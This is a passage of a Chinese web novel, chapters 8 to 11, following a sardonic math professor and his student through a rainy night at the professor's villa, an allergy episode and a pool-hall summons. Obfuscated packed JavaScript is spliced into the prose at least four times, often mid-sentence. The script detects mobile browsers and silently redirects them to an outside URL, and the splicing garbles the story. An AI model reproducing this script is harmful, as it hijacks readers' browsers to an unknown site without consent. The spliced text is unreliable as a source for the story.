因为没有人员受伤，三辆车都有保险，人也都挺有素质比较讲理，划分责任进行赔偿，本来很快就能结束，却查出追尾那辆车的司机涉嫌酒驾，几人要去派出所做笔录，耽误了不少时间。 解决完毕已经是一个半小时后。 陈西庭的保时捷车头和车尾处分别多了一个瘪，其他的没有影响，余序继续担任司机。 陈西庭系上安全带，担心他有压力，十分“贴心”地道，“你照常开就好，不用紧张，有保险。” 余序还记恨他刚刚说没买保险，磨了下牙，“我紧张个鸡毛，又不是我的车。” “你们酒吧……”陈西庭故作思考，“应该可以投诉代驾吧？” 余序：“……” 真**想给这个狗东西踹下车。 驶出车流密度大的路段，路上的车辆大幅度减少，但雨幕好像更浓密了些，路面仿佛淌起一条河流。 余序将车速一降再降，开进澜月湾别墅的地下车库，车身准确地停进车位时，时间已经过了零点。 京大宿舍零点锁门封寝。 陈西庭自然知道这点，作为师长，不得不关心地问：“学校封寝了，你怎么办？” 余序面无表情，无所谓地道：“我回酒吧通宵。” 陈西庭能理解年轻人的夜生活，但不太支持，尤其是现在天气恶劣的情况下，他说：“通宵容易猝死。” “老人熬夜才容易猝死。”余序故意咬重“老人”的发音，“教授。” 陈西庭却没有回怼，淡淡道：“我家有客房。” “？” 余序惊讶地偏头看他，沉默两秒，“你是不是觊觎老子帅气逼人的美色？老子对搞同性恋一点兴趣都没有，你死了这条心吧。” 陈西庭想给他的天灵盖打开，看看里面是不是脑残，轻嘲道：“美色没看见，逼人倒有一个。” 余序：“……” 找人卸一条腿多少钱来着？ 最后余序还是跟着陈西庭上了电梯，因为明天早八还是陈西庭的课，他要是去通宵，明早一定迟到。 这个坏逼教授拿平时分威胁他！ 别墅坐落在朝阳的海湾处，东面临海，风景宜人，是京州著名的豪宅社区之一。 当然，雨夜的海面漆黑一片，浓稠深沉，也没什么风景可看。 入户后感应灯次第亮起，照得挑高开阔的大厅亮如白昼。 余序尚未来得及仔细打量，一道黑色身影从楼梯上迅速窜下，向陈西庭飞扑而来。 余序定睛一瞧，是只黑白色的边牧，兴奋地围着陈西庭打转，摇着尾巴从鞋架上叼下拖鞋放到陈西庭脚边。 陈西庭摸了下它的小脑瓜，边弯腰换鞋边道：“有客人，给客人也拿双拖鞋。” 边牧扭身又从鞋架上叼来一双拖鞋，放到余序的脚边，仰头“汪呜”一声，小眼睛又黑又亮，期待地看着他。 “谢谢。”余序没想到自己会有向狗道谢的一天，又不禁夸赞道：“这狗这么聪明啊。” “嗯。”陈西庭直起身子，“可能是随主人吧。” 余序正解鞋带呢，听见这臭不要脸的话抬头看了他一眼，低头继续解鞋带，“是么？脸皮也跟你一样厚？” 陈西庭半倚着玄关的置物台边，淡笑道：“我只是在陈述事实。” “脸皮厚的事实？”余序换上拖鞋，将自己的鞋放到鞋架上，垂眸看着跟在他腿边，满眼亮晶晶，吐着舌头摇尾巴的边牧，问道：“它叫什么？” 陈西庭：“弗里德里希·高斯。” 边牧非常配合：“汪！” 余序：“……” 真行啊，给狗起了个德国数学王子的名字。 两人身上都有些潮湿，换好鞋后，陈西庭给余序指了二楼客房洗澡，怕他找不到，又吩咐高斯给他带路。 上楼过程中，余序发现这精装的现代极简风大别墅大归大，豪华归豪华，但没什么人气儿，像个一板一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082351|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，没有活力的样板房，连落地窗前的绿植都是标准版的绿箩。 想想也是，一个清冷寡淡一看就很无趣的男人，带着一条狗住这么大的房子，能有人气儿就怪了。 像韩国电影《寄生虫》那样偷摸儿住进来个外人，十年八年都不一定能被发现。 高斯是个尽职尽责的小管家，四爪轻快地踩在地板上，发出“哒哒哒”的声响，带着余序左拐又右拐，来到二楼的客房。 余序推开房门，感应灯鱼贯亮起。 客房是个套间，布局和装修都像极了五星级酒店，余序差点以为自己是出来开的酒店，而不是借住在某位相亲对象兼教授家中。 不过他一向都是既来之则安之，住哪里都无所谓，环视一圈确认卫生间的位置，低头故意问狗狗：“卫生间在哪里？” 狗狗竟然真的懂了，尾巴一摇一晃，走过去停在卫生间门口，坐下来回头看着他。 余序过去摸了摸它的头，推门走进卫生间，里面装修高级通透，卫浴分离，还包含一个单独的浴池隔间。 半面墙的架子上摆满了瓶瓶罐罐，余序大概扫了一眼，护理功能从头到尾，从发丝护理到脚趾，像是要把人从里到外都修饰得闪闪发光。 客房也准备得这么一应俱全？ 余序的疑惑一闪而过，并没有当回事儿，将狗狗关到门外，拿了浴巾和一次性的洗漱用品，开始淋浴洗澡。 陈西庭也需要洗澡，但他晚上还没吃饭，回来的路上叫了酒店送餐，天气不好，泡了杯咖啡，等着餐送到了再去洗。 送到时已经是二十分钟后，陈西庭上楼洗澡，推开房间门，看见亮着的灯光，以及卫生间门口蹲着的高斯，顿时意识到不对劲。 不待他做出反应，卫生间的门被拉开，余序腰间裹着浴巾，边擦头发边走了出来，抬头看见门口的陈西庭，愣在原地。 陈西庭也愣住了。 少年赤着湿漉漉的上半身，灯光下肤色暖白，宽肩窄腰，劲瘦的腰腹上整整齐齐地排列着八块腹肌，淋漓的水痕汇成水流，顺着块垒分明的沟壑下淌，消失在松垮系在腰间的浴巾上，要遮不遮的小腹上，隐约可见青筋蔓延。 肌肉并不夸张，但充满力量感的同时又兼具美感，张力十足，赏心悦目。 都是男人，上学期间甚至看过舍友的裸/体，陈西庭却在这一瞬间莫名有些不好意思，但这并不影响他抱起胳膊，斜靠到门框上，认真欣赏这具身体。 余序回过神，脸色一沉，“你准备偷看老子洗澡？” 陈西庭的目光下移，在他修长有力的小腿上停了停，转而看向一旁的狗狗，“我让你带它去客房，你带他来主卧干什么？” ！ 余序耳朵发热，肉眼可见地涨红。 这是主卧？是陈西庭的房间？他刚刚用的是陈西庭每天洗澡的浴室？ 怪不得摆满了那么多东西！ 那…… “这条浴巾……”余序闭了闭眼，觉得自己这辈子都没这么尴尬过，深吸一口气，难以启齿地道：“不会是你用过的吧？” 9. 过敏 陈西庭看着他腰间的浴巾，反问：“你觉得呢？” 余序的俊脸黑了又黑，陈西庭觉得他很想将浴巾扯下来一把甩他脸上。 不过因为里面什么也没穿，余序拒绝了这项会让他更尴尬的行为，转身走回浴室，重重关上门。 陈西庭唇角翘起，无声笑了下，走进衣帽间找来一套全新的T恤和休闲裤，敲了敲卫生间的门，“刚刚逗你的，浴巾是新的，给你拿了套干净衣服。” 停了一会儿，余序拉开门，面无表情地拿走衣服，再度重重关上门。 “啪”的一声，门在陈西庭眼前关上，时间很短，但距离很近，足够陈西庭看清余序极具张力的胸肌和腹肌。 啧，确实很有出卖色相赚钱的资本。 陈西庭垂下眼眸，踢了下狗狗屁股，“走了。” 刚走了没两步，卫生间里传来余序的声音，“洗衣机能用么？” “洗衣机……”陈西庭脚步不停，话语却故意顿了下，“我用过了哎。” 里面没有回应，陈西庭继续带着狗狗下楼吃饭。 五星酒店的夜宵十分丰盛，一盅佛跳墙，另外三盘分别是太湖金丝虾球，番茄土豆牛腩，渝味沸腾鲈鱼，另外有一盅姬松茸炖老鸡汤，以及黑松露拌珍菌小食。 菜量别说一人一狗了，再来两个人也绰绰有余。 陈西庭先盛出来两碗佛跳墙晾着，接着给高斯喂食，狗狗两只前爪搭在他的椅边，喂什么吃什么，乖得不行。 没多久楼梯上传来脚步声，陈西庭抬头看去，只见余序双手插兜，不疾不徐地走下来。 他的头发吹得蓬松半干，立体深邃的眉眼露出，那截断眉清晰利落，简单的体恤长裤，让他整个人看起来格外干净清爽，少年气丝毫不打折扣。 狗狗像是能看明白这泼天的美貌似的，冲余序“汪呜”了声，收起前爪摇着尾巴跑到余序腿边，尾巴摇得更兴奋了。 陈西庭放下手中喂狗的专用筷子，笑骂了声“小白眼狼”。 余序低头看着这只害他出糗的罪魁祸首，只觉得这张狗脸不仅谄媚，还充满阴谋诡计，于是只看了一眼，便收回视线装作没看见它一样走到餐桌边坐下。 陈西庭将餐具推过去，余序冷淡地道谢。 狗狗见余序不理自己，围绕他的椅子直转圈，忽然瞅准时机，一下跳到余序腿上，“汪呜汪呜”地往他怀里蹭。 这一出来得猝不及防，成年边牧的重量不小，余序下意识后仰靠在椅背上，身体不敢动了，嘴上不忘讥讽道：“这狗果然跟主人一样不要脸。” 陈西庭将其中一碗佛跳墙放到他面前，淡笑道：“它很喜欢你。” 高斯平时并没有这么亲人，甚至可以说这是它第一次见到外人这么兴奋。 陈西庭记得有个说法，小动物会靠近磁场干净纯粹的人，放在余序身上好像并不违和？ 余序沉着俊脸，“我不喜欢它，你让它下去。” 陈西庭还没说话，高斯先仰头冲余序委屈地“嗷呜”一声，毛茸茸的大尾巴在他腿上蹭啊蹭，丝毫没有要下去的意思。 余序脸色更不好了，陈西庭不得不发号施令，“高斯，下来。” 狗狗委屈地看了陈西庭一眼，从余序腿上跳下来，绕着桌子转了一圈，最后在余序的腿边趴好。 余序：“……” 这到底是谁的狗！不知道的还以为我是主人呢。 好在这条和陈西庭一模一样的坏狗没再做什么冒犯之举，余序得以安静地吃这完顿丰盛的夜宵。 吃完饭余序主动帮忙收拾餐桌，狗狗依旧殷勤地跟在他脚后面，在他将碗碟放进洗碗机，寻找开启按钮时，狗狗主动抬爪子找准按钮按下，然后小黑眼睛期待地看着他邀功。 余序瞥它一眼，扭头又酷又拽地走了。 陈西庭靠在厨房门边，笑道：“行了高斯，别拿你的热脸贴冷屁股了。” 狗狗仰头哼唧一声，继续跟在余序脚边摇尾巴。 陈西庭无奈，亲自带着余序上客房，随口叮嘱道：“充电器在床头抽屉里，明早七点起床，别睡过了。” “知道了。”余序点头，准备关上门。 狗狗脑袋一探，准备顺着门缝钻进去，被陈西庭抬脚拦住。 余序立即将门关得严丝合缝。 陈西庭轻踢了下狗狗屁股，示意它跟自己走，“你怎么还想跟他进被窝啊？” 狗狗哼唧一声，乖乖跟着陈西庭回到主卧。 陈西庭推开卫生间准备洗澡，看见浴室尚未被换气系统吹干的墙面，以及烘干机里面余序的衣服反应过来，保姆丹姨第二天才会来进行消杀打扫，他换到三楼的另一个客房洗了澡。 翌日一早，陈西庭洗漱完，把烘干的衣服给余序送去，在床边小窝里睡觉的高斯蹭一下起来，摇尾巴跟着去。 余序应该还没醒，敲门后过了一会儿房间内才响起脚步声，懒洋洋地走近，接着房门被拉开。 少年的黑发被睡成了鸡窝，睡眼惺忪地打了个哈欠，深邃的眼眸上蒙起一层潋滟的泪光，带着点刚睡醒的鼻音道：“干嘛？” 陈西庭将手中叠好的衣服给他，“洗漱，上学了。” “哦。”余序低头拿过来，动作间颈侧露出来，暖白的皮肤上爬着几抹明显的红色痕迹，有点像被蚊虫叮咬过。 “家里有蚊子？”陈西庭问。 “没有。”余序指背蹭了下脖子，“过敏了。” “什么东西过敏？” 余序垂眸看着围绕着他打转的狗狗，轻嗤了声，“狗毛。” 陈西庭：“嘶，大学生还会栽赃陷害呢？” “爱信不信。”余序又打了个哈欠，作势要关门，“还不走？要留下来看我换衣服？” 陈西庭不紧不慢地打量他一眼：“也可以。” “啪！” 余序重重关上了门。 陈西庭带着狗狗下楼，保姆丹姨已经来做好了早饭，正在打扫一楼的卫生，照常和他问好寒暄。 “昨晚二楼的客房有客人，还有三楼客房的浴室。”陈西庭道：“重点清理一下。” 丹姨对此早已熟悉，笑着道：“我知道了，我今天做了玉米口蘑汤，放在保温箱里了。” “好。” 陈西庭先取了两套餐具，又从厨房保温箱里取出散发着诱人香气的玉米口蘑汤，和餐桌上的其余餐品放到一起。 丹姨的手艺非常好，也从来不敷衍，色香味俱全琳琅满目地摆了一桌子。 陈西庭坐下，自己尝了一点后，开始给高斯扒鸡蛋。 扒完第二个时，换回自己衣服的余序从楼梯上下来，他已经洗漱完，发型回归正常，只是脸上仍有些困倦之意，扫了眼五菜一汤的丰盛早饭，问：“你一个人每天都吃这么多？” 陈西庭将鸡蛋喂给高斯，“有钱任性。” 余序：“……” 真是让人无法反驳的理由。 陈西庭盛了碗汤放到他面前，“尝尝看。” 余序想说他们年轻人从来不吃早饭，却在鲜香诱人的口蘑汤面前败下阵来，拉开椅子坐下，用瓷勺喝了口汤。 沉睡一晚上的味蕾瞬间被唤醒，好像困意都被鲜美的味道驱散掉，一顿早饭吃得人胃里暖暖的，吃完饭两人出门。 一场秋雨一场寒，大雨过后，早晨的冷风已经初见寒冬的端倪。 余序只穿了T恤，被风一吹，露在外面的胳膊脖子好像被泼了层冰水，下意识嘶了口气。 穿着长衣长裤的陈西庭回头，顿了下，折回去拿了件冲锋衣扔给他，“别冻感冒了赖上我。” 余序接住衣服，看了一眼，“你没穿过吧？” “穿过。”陈西庭轻嘲道：“你别呼吸了，我家里都是我呼出来的二氧化碳。” 余序穿上衣服，将拉链拉到顶，遮住小半张锋利的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082352|179412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下巴，衣领间清新好闻的茶叶香盈进鼻尖。 “没事，我倒也没那么嫌弃你。” “最好是这样。”陈西庭拿出车钥匙，“不然你就走着去上学。” 余序：“我不会叫车么？” “可以。”陈西庭说：“但你会迟到，我会扣分。” “我真服了。”余序双手插进衣兜里，一副老子懒得跟你计较的模样道：“快走吧，再墨迹咱俩都得迟到。” 昨天那辆保时捷一早就被人拉去修理了，陈西庭换了一辆黑色迈巴赫开。 余序系上安全带，“你一个大学教授天天开豪车，不怕被查么？” 陈西庭发动车辆，“可以让他们去查查我那个有钱的父亲，刚好我也想知道他有没有搜刮民脂民膏。” 余序靠着椅背，心累地闭上眼，面朝车窗开始补觉，头一次觉得“眼不见为净”真是个至理名言。 陈西庭的时间掐得非常准，两人到学校时上课铃声刚好响起，阶梯大教室坐满了人，余序迎着所有人的视线走到何谦堂给他占的位置上。 何谦堂把教材纸笔推给他，小声问：“你又搭了陈教授的车？” 余序刚刚在车上睡着了，此时还有点困，恹恹地“嗯”了声。 上了一会儿课，教室里的温度升起来，余序把冲锋衣脱掉，何谦堂注意到后又小声问：“你昨晚哪里过夜的？竟然没换衣服。” 他知道余序有点洁癖，衣服只穿一天就要洗，之前在外面兼职夜不归宿，回来也会换套衣服的。 余序微滞，看了一眼讲台上讲课的年轻教授。 何谦堂：“你不会在陈教授家过夜的吧？” 余序：“……” 他以前有这么聪明么？ 余序刚想否认，何谦堂低声惊呼了下，“你脖子怎么弄的？这是什么红红的痕迹？” 余序冷淡解释：“过敏。” 何谦堂一脸八卦，“真不是草莓印？” 余序无语地剜他一眼：“滚。” 何谦堂给嘴拉上拉链，转头回去看黑板听课。 临近下课时，陈西庭安排了一道题让同学们做，余序三两下写完，桌面的手机震动了下。 点开一看，陈西庭发来的：【下课跟我去办公室。】 余序：【干嘛？】 陈西庭：【不干。】 余序：【？？？】 【傻逼】 【再开黄/腔举报你】 对面安静半分钟，余序准备关上手机时，新消息弹出。 陈西庭发过来一串网址链接，余序点进去，页面跳转： ——京州大学教务举报中心。 余序：【……】 何谦堂做完题，偏头想和余序对答案，好巧不巧的，将余序手机屏幕上的聊天内容一览无余。 余序抬头想问他怎么了，这人立马扭头正襟危坐，假装自己什么都没看见。 余序懒得理他，本想下课后跟他一起去图书馆，结果一打铃何谦堂就飞速收拾好书本，连着他的一起装好，边装边道：“阿序你去找陈教授吧，我先和老四走了嗷。” 仿佛慢一秒，他就会变成一个锃光瓦亮的大灯泡。 余序缓缓打出一个问号，目送自己的舍友们弃自己而去。 教室很快走空不少人，陈西庭还在讲台上坐着，有一搭没一搭地把玩着U盘和上面的小公仔。 余序拎着冲锋衣走过去，“找我有什么事？” 陈西庭起身，“走吧。” 余序别无他法，冷着俊脸跟着他去了办公室。 陈西庭的办公室和他家里一样，很简洁，余序扫量一圈，几乎看不到什么有人使用的痕迹。 同时陈西庭在背后关上了门。 余序回头，皱眉问：“你关门干什么？” 陈西庭随手把U盘扔到桌面上，拉开抽屉，以一种命令的口吻道：“把衣服脱了。” 10. 药膏 脱什么？脱衣服？ 余序怀疑自己耳朵出问题了，如此性/骚/扰的话，是一个教授可以对学生说的么？ 他视线下移，看见陈西庭手中软管包装模样的东西，警惕道：“你想干什么，这不会是润/滑/液吧？” 陈西庭沉默两秒，说：“……过敏药。” 余序：“……” 我需要一个地缝，谢谢。 本来他皮肤红肿的地方只是轻微有些痒，闹这么一出，脖子上阵阵发热发痒，像有虫子正在啃食一般。 他按下用手去挠的冲动，故作淡定道：“我自己来就行了。” 陈西庭将过敏药递给他，揶揄道：“我本来也没说要帮你吧？” 余序接过药，“你出去。” 陈西庭拉开椅子坐下，慢条斯理地将双腿交叠，用行动表示拒绝。 余序懒得跟他计较，走向办公室墙边的等身镜，对着镜子照了照脖子，扯着衣领将黑T脱下来，露出肌理分明的上半身，暖白干净的皮肤上点缀着斑点的红痕，格外显眼。 脖子是重灾区，锁骨和胸膛以及后颈也有不少，他将透明的膏状药体挤到指尖，从锁骨开始逐一细细涂抹。 他初中时也养过一条小边牧，刚拿回来他就过敏了，余小姐将小狗关在宠物房里，只允许他隔着栅栏门看，不许摸，喂食物也不允许有任何触碰。 但他并不认为自己过敏是因为小狗，不然为什么他摸军犬就没事儿？ 抱着这种想法三个月后，他终于获得一个父母保姆保镖都不在的机会，抱到了他可爱又聪明，已经长得非常壮实的小狗狗。 然后当晚余小姐把他拎到镜子前，指着他脖子上的过敏痕迹，问他是不是偷偷摸狗了，他嘴硬说是蚊子咬的，被余小姐威胁再撒谎就把狗狗送走，于是他不得不接受自己对边牧过敏这件事。 昨晚见到陈西庭的边牧，他想着这么多年过去了，自己也不一定对每只边牧都过敏，便没有阻止它的靠近。 没想到啊没想到。 药膏接触过敏的皮肤，没一会儿就变得冰冰凉凉，热痒感减退。 余序涂完身前能碰到的地方，后颈处伸手试了下，实在是触碰不到，陈西庭在这时走过来，将他手中的药膏抽走，淡声道：“我来吧。” 余序本能地想拒绝，一抬眼从镜中看见陈西庭的身影，蓦地愣了下。 青年不知道什么时候把西装外套脱掉了，深青色的衬衫质地挺括精贵，领带上的温莎结一丝不苟，配上银丝眼镜，衬得他整个人衣冠楚楚，气质斐然。 就这么一瞬间的迟疑，让婉拒的话失去了说出的机会，余序薄唇动了动，没话找话地道：“你这个眼镜……是假的吧？” 正常的近视眼镜是凹透镜，镜片边缘能够折射光线，使得逆向看去时眼尾处会发生视觉错位。 但陈西庭的这个看起来丝毫没有光线折射，单纯就是一个普通的镜片。 陈西庭垂眸将药膏挤到指尖上，“零度就不叫眼镜了？” 余序从镜中看着他手上的动作，嗤了声，“戴个假眼镜装什么逼？显着你是文化人了？” 陈西庭轻笑了声，一边仔细给他后颈红肿处涂抹药膏，一边道：“粪车从门前过，你都要尝尝咸淡吧？” 余序扭头瞪他，冷笑：“因为车上装的是你。” “嗯？”陈西庭和他对视，语气调侃道：“你要尝尝我的咸淡？” 很有教养的余序终于对这人忍无可忍，连脏话都说了来：“你又几把开黄腔。” “是你自己想歪了。”陈西庭垂眸看了眼自己手指上沾的透明膏体，唇角轻勾，“你想尝尝我哪里的咸淡？” 余序想一巴掌给这人呼镜子上当贴画，“滚……” “西庭啊，那个竞赛你……” 余序的话音未落，办公室的门被人从外面推开，老者的声音响起又戛然而止。 余序和陈西庭同时看向门口，和愣在门口的老头对视上。 此时的两人距离很近，余序还赤着上身，陈西庭手中拿着东西要往哪里涂抹，一眼看过去就一幅不可描述的暧昧场景。 尴尬的空气好像停滞不再流通，持续三秒后，老头反应过来，立即举起手中拿着的文件挡住眼睛，语速飞快地道：“我什么都没看见我什么都没看见！” 说着，他还往后退，准备关门给“小情侣”留回空间，生怕自己成了电灯泡似的。 “老师。”陈西庭开口唤他。 “你们继续你们继续。”梁教授扭身要跑。 陈西庭无奈道：“我在给他擦药而已。” 梁教授停住，回头仔细看了看他们两个，见两人之间确实没脱裤子，除了那个不认识的男孩光着上半身外，也没别的什么逾矩行为。 他将心放回肚子里，直起腰杆正起脸色，走进来嗔了陈西庭一眼，“你不早说。” 陈西庭不背这个锅，扯来一张纸巾擦去指尖上残存的药膏，“明明是你自己乱想。” “哎呀，我这不是觉得你终于开窍了，知道找对象了么！”梁教授感兴趣的视线投向余序，笑眯眯地朝他伸手，“你好，我是西庭的老师。” 余序套上T恤，近距离再看这位老者，一阵无语涌上心头，上学期高数课给他平时分扣光的老教授，竟然是陈西庭的老师！ 这是什么狗屎一样的缘分，果然有其师必有其徒，这师徒俩一脉相承的克他！ 这就算了，这老头还不记得他了！亏得他长得这么帅！ 当然这话小余同学不可能说出口，他礼貌地和梁教授握手，自我介绍道：“您好，我叫余序，是陈教授的学生。” “呀，你是他的学生啊。”梁老头放开他，挠了挠自己近乎秃顶的后脑勺，看了眼陈西庭，“我还以为你是他对象呢。” 余序：“……” 陈西庭：“……” “我不喜欢男的。”陈西庭再次强调，又深感无力地说，“他就是你给我介绍的相亲对象。” “噢！”梁教授恍然大悟，认真看了看余序的脸，问：“你母亲姓余？” 余序目光倏然一凝，但不动声色，保持镇定问道：“您认识她？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送走梁教授后，陈西庭着手处理竞赛事宜，让几个班级的学委发下去。 国家一等奖不仅加学分，也会算作保研的考核项目，因此报名的人还挺多的，晚上的高数重修课有好几个学生来问他竞赛的事宜。 余序收起自己的书本，单肩挂着包要离开，经过讲台时，被陈西庭开口喊住：“余序。” 余序瞥过去，懒得说话，用眼神表示出一个疑惑。 陈西庭把玩着一支纯黑色的钢笔，问：“你报名竞赛了么？” “没。”余序兴致缺缺，抬脚继续走：“没空。” 陈西庭没有多说，收回视线继续解答同学的问题。 晚上回到家后，他将报名表发给余序。 余序很快回复：【？】 【强买强卖？】 陈西庭：【加学分】 余序：【我数学不好】 陈西庭：【我好就行了】 余序：【？】 【你能替我去考试？】 11. 台球 陈西庭看着这行字，轻笑了声，回复：【你大学主修的臭不要脸专业么？】 余序：【捅你皮燕子1刀.jpg】 【对，我就会不要脸】 【您另寻他人去比赛吧】 陈西庭：【给你平时分扣光】 余序：【捅你皮燕子10086刀.jpg】 陈西庭：【扣光】 五分钟后，余序将填写好的电子版报名表发了过来。 陈西庭接收发给学委，拿了浴巾准备洗澡，刚放下手机，余序的消息又弹了出来： 【老子要是没拿到国一，给你脑袋拧下来当夜壶】 陈西庭目的已经达到，直接已读不回。 周六他如约去和父亲合作伙伴的女儿见面，与其说是相亲，还不如说是利益交换更合适。 地点是对方订的，是家最近在网上很火的意大利餐厅，开在国贸大酒店二层里。 两人约的是晚餐，在微信上和她沟通好后，陈西庭驱车前往，比约定时间提前十分钟抵达。 服务员将他引入订好的位置，听到他说要等人，给他端来一杯柠檬水后离开。 此时华灯初上，餐厅明亮的落地窗外，京城繁华的地段璀璨得金碧辉煌。 陈西庭坐下后，靠着椅背随手翻看菜单。 他能猜到父亲的意思，京州内权贵豪门遍布，到处都是升官发财的机会，但谁也不会随便把蛋糕分出去。 父亲想把生意做进京州里来，联姻是搭上人脉的轻松捷径，这也是为什么父亲会支持他来京州读书。 他对婚姻不抱有任何幻想和期待，对所谓的爱情更是毫无兴趣，如果对方是一个正常的女性，协议婚姻也未尝不可。 这个想法只持续到女方踩着高跟鞋姗姗而来，陈西庭闻声抬头，看见徐叶枳时，觉得灯光都暗了，天色黑了，整个金碧辉煌的京城瞬间黯然无光了。 “学长晚上好呀～”徐叶枳将高奢手袋放在桌旁，拉开椅子落座，笑盈盈地和他打招呼。 陈西庭放下手中的菜单，波澜不惊地问：“怎么是你？” 对面的女孩今日盛装打扮，妆容精致明艳，像朵灼灼的玫瑰花，从上到下都漂亮得毫无瑕疵，但他只看见她浑身上下都往外冒一个成语：阴魂不散。 “没想到叭？”徐叶枳将肩上的波浪卷发优雅地拂到后面，自信地笑道：“我去上海参加慈善晚宴刚好见到伯父伯母了，他们说你一定不可能是同性恋，并且十分属意我来做他们的儿媳妇。” 陈西庭得知来龙去脉，没有发表任何观点，反而问：“你有两个微信？” “不。”徐叶枳伸出食指晃了晃，“我有三个。” 陈西庭不置可否，将菜单推给她，“看看吃什么吧。” 徐叶枳拿起菜单，不看菜单反而有些娇嗔地看着他：“你怎么这么平淡，一点也没有惊喜的感觉嘛？” 陈西庭本就不会轻易流露情绪，礼貌地敷衍：“还好，你今天很漂亮。” 惊喜没有，惊吓也算不上。 虽然没想到来的会是她，但完全是她能干出来的事，在过往的几年里，这种事情并不少见。 徐叶枳露出欣喜的笑容，“我的私人化妆师给我画了两个小时呢，你果然很有眼光。” 陈西庭承认她的美貌，但美貌于他而言毫无价值，拐走话题道：“先吃饭吧。” “好呀。”徐叶枳举手示意服务员，熟稔地从开胃菜点到餐后饮品，边点边向陈西庭介绍这家菜品的特点，“我经常来这里，这家的挪威烤鲑鱼特别好吃，你一定要尝尝。” 陈西庭应了声好。 他对外一直斯文有礼，符合一切“青年高知学术分子”的刻板印象，一顿饭不管和谁吃，它都是一顿饭而已。 吃饭过程中，徐叶枳经常找话题闲聊，她的话很多，谈吐也很有趣，从巴黎时装周和知名设计师发生的趣事，说到暑假在山区支教遇到的奇葩家长。 只可惜对面是因为智商太高，对大部分事物都感到无聊的陈西庭，属于和对牛弹琴有异曲同工之妙。 说着说着，她可能也意识到这点，喝了一口罗宋汤，“学长我是不是说太多了，你会不会嫌我烦呀？” 陈西庭专心切割牛排，“还好。” 徐叶枳抿抿唇，“你上次说你是同性恋，是为了拒绝我对叭？” 陈西庭手上刀叉切割的动作放慢，没有回答。 虽然是事实，但承认就也证实了他嫌她烦，他不会干这种搬石头砸脚的事情。 “你其实不用这样的。”徐叶枳单手托腮，捏着勺柄轻轻搅动汤汁，“我听说陈伯父想和乾源合作，我的家世你知道的吧，只要我跟我爸爸撒个娇，这件事情不会有什么难处的。” 陈西庭抬眸看向她，想起梁老头的话：找个京州本地的有钱对象。 这个“有钱”可能不是字面意思，他家又不缺钱，而在上层社会，人脉才是真正的财富。 通过几代人的奋斗积累，形成根深蒂固的世家体系，掌握一方话语权。 他不觉得徐叶枳真能撒个娇就有用，除非是利益绑定的关系，比如，女婿。 “你想要什么？”陈西庭神色平静，明知故问。 “我就是想跟你谈个恋爱嘛。”徐叶枳改成双手托腮，笑眯眯地道：“谈个恋爱而已，换上百亿的生意，很划算叭，说不定我得到了就不喜欢了呢。” 陈西庭的处世经验不多，但读过的书不少，他知道感情的事情扯上利益，不褪一层皮，很难再掰扯清楚了。 他放下刀叉，“我考虑考虑。” “好呀。”徐叶枳说：“吃完饭你陪我去海边散步好不好？” 陈西庭想着理由拒绝，手机刚好在这时响了两声。 他拿起一看，余序发来两条消息，一条位置信息和一句：【过来找我】 陈西庭回复他一个问号后，和徐叶枳道：“抱歉，朋友找我有要紧事。” “没关系。”徐叶枳十分通情达理地笑道：“我下次再找你。” 因着余序这条消息，陈西庭得到中止晚餐的由头，提前离席。 酒店泊车员将他的迈巴赫开出来，上车他并没有启动，胳膊肘搭着车窗，点开余序刚发来的消息： 【让你来就来】 陈西庭看了看他发来的位置，是一台球厅，距离不远，开车只需要十分钟。 他回复：【不去】 余序：【你不来，我就不去比赛】 陈西庭看过他的成绩单，绝对是竞赛的潜力股，也从他的辅导员那里了解到，他刚上大学时就做好了提前毕业的学习计划，竞赛取得成绩对他提前毕业的考核会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈西庭婉拒，他对出卖色相赚钱毫无兴趣。 如果不是余序，他可能一辈子都不会踏足这种地方。 说话间到了里面，灯光要暗一点，朦朦胧胧的不知道从哪里溢出些红的蓝的彩光。 中央一张碧绿的台球桌边围了不少人，人群中一道身影鹤立鸡群似的显眼，颀长挺拔又松散随意，垂着眼眸，慢条斯理地往球杆上擦巧克粉，旁边的女孩不知道在和他说些什么，看样子他就没专心听。 “余序。”前台小姐开口：“人到了。” 余序偏头看过来，视线薄淡而冷漠，落在陈西庭身上后，像化开的冰块一般，升起那么一丁点的温度。 他今天又恢复相亲那天的打扮，黑发烫了锡纸烫，断眉露出，假唇钉倒是没戴，换成了一个黑钻耳钉，随着他偏头的动作，反射出一点球桌上的灯光。 